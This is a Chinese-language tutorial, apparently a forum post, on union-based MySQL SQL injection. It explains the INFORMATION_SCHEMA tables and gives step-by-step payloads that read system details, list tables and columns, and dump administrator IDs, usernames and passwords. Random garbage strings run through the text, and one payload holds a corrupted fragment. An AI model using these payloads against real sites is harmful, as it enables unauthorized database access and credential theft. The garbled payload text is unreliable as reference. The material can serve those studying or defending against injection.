mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
( M/ }. c0 p8 l6 F$ v$ \  I0 |
# B1 C) O& q# {2 p学习盲注前先了解下 IFORMATION_SCHEMA 库
" a# _: p5 _5 F
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
& y0 ^7 w: X5 q" z1.得到所有数据库名：
2 Y# }  |& l+ L- E5 u0 d|SCHEMATA ->存储数据库名的表
- E9 Z1 o+ x! H* z3 t; _, w+ `|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
+ L% E3 m% u3 U( ]6 N/ D|---字段：TABLE_NAME ->存储表的表名
# ]+ b8 x3 n! r0 s5 p3 m
3 E. }& B  p0 J- i' J|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
) Z9 A9 @# O7 v3 B1 W" V|---字段：TABLE_NAME ->存储所属表的名称
3 O) v' p9 K- L7 p8 `& @  W" Y
|---字段：COLUMN_NAME ->该字段的名称
: E8 }( n7 D$ D' O
5 r7 Z9 i& R; J+ j7 r1 ~$ F2 b

###########################################################################
, m4 I# Y- f% W* G; n8 w
! ~1 v5 ^; m: T0x001 获取系统信息:

6 m0 ~9 I0 i' ]union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

8 m7 ]1 b; \* ?/*
! s7 V: _% g* f% z- b( v* |) q
* j) X4 X/ P1 f: H: {@@global.version_compile_os 获取系统版本
2 @, p" G0 f2 c. y" @( W# z
9 W2 O/ B8 g9 G0 P' K# ~6 E2 J@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
. h+ p' _6 ]% V% F4 j3 {; n5 M
*/
6 F4 C9 B( q& @1 ^# D. s


! g  z9 }" S. a; O  F; _& Y######################################################################
" g* }9 u) G' F5 O  f( m
0x002 获取表名

$ X7 j% N8 ~/ Gunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

: x/ |4 y: y' \2 W5 D
2 W$ }- _. T5 E, Q
. p7 V# ^1 p! ^) B4 H/*

( b4 O9 M' c8 f! I% M0x67617264656e 为当前数据库名

4 T1 N9 N4 o# X) o" t0 z2 @# O9 pgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
2 M. _" P2 N' f6 t! Q1 A
*/
& w; K3 T0 {, [3 w0 q
. k3 l1 M2 r- F######################################################################

) j2 V" P; T( e! Q' v& a) h1 c" H9 G
0 O: v( I2 J& N9 @/ M3 p* U! ]
8 A2 }& ]5 W( v0x003 获取字段
1 Z0 f: |6 q. @. m, [6 `
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
, Y( }" U: r7 P& i2 y7 h
/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
7 `/ A! l# P# }' K
0x67617264656e ->数据库名
' j; }! d0 c% e/ t
2 V  e. h2 n( M# V8 X6 s: v*/

& A5 \+ u0 }: A4 ^; m) ~% Y#####################################################################
8 B6 ~/ v% R* P5 ]- N$ W: ]9 x0 J3 B
0 l0 T) e4 `9 |* A8 I6 G

0x004 获取数据

union select 1,2,3
6 U' b% X# J3 t/ [  K  e8 o  R; x,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

  I$ R3 Z6 H5 w& }7 Z! T: }1 z" wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
( n1 L1 x8 g) y/ j
9 w3 `( h/ r/ @' l# L# F
! v% p: W5 i7 a9 A5 C! v
/*
/ o) J) |. L  k+ u# q  g& a
5 D. t  X4 r& n: g0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

*/
& F" [7 L. E& N  f+ L5 O# K2 E4 b
8 n% z% O; s5 s  g2 C. [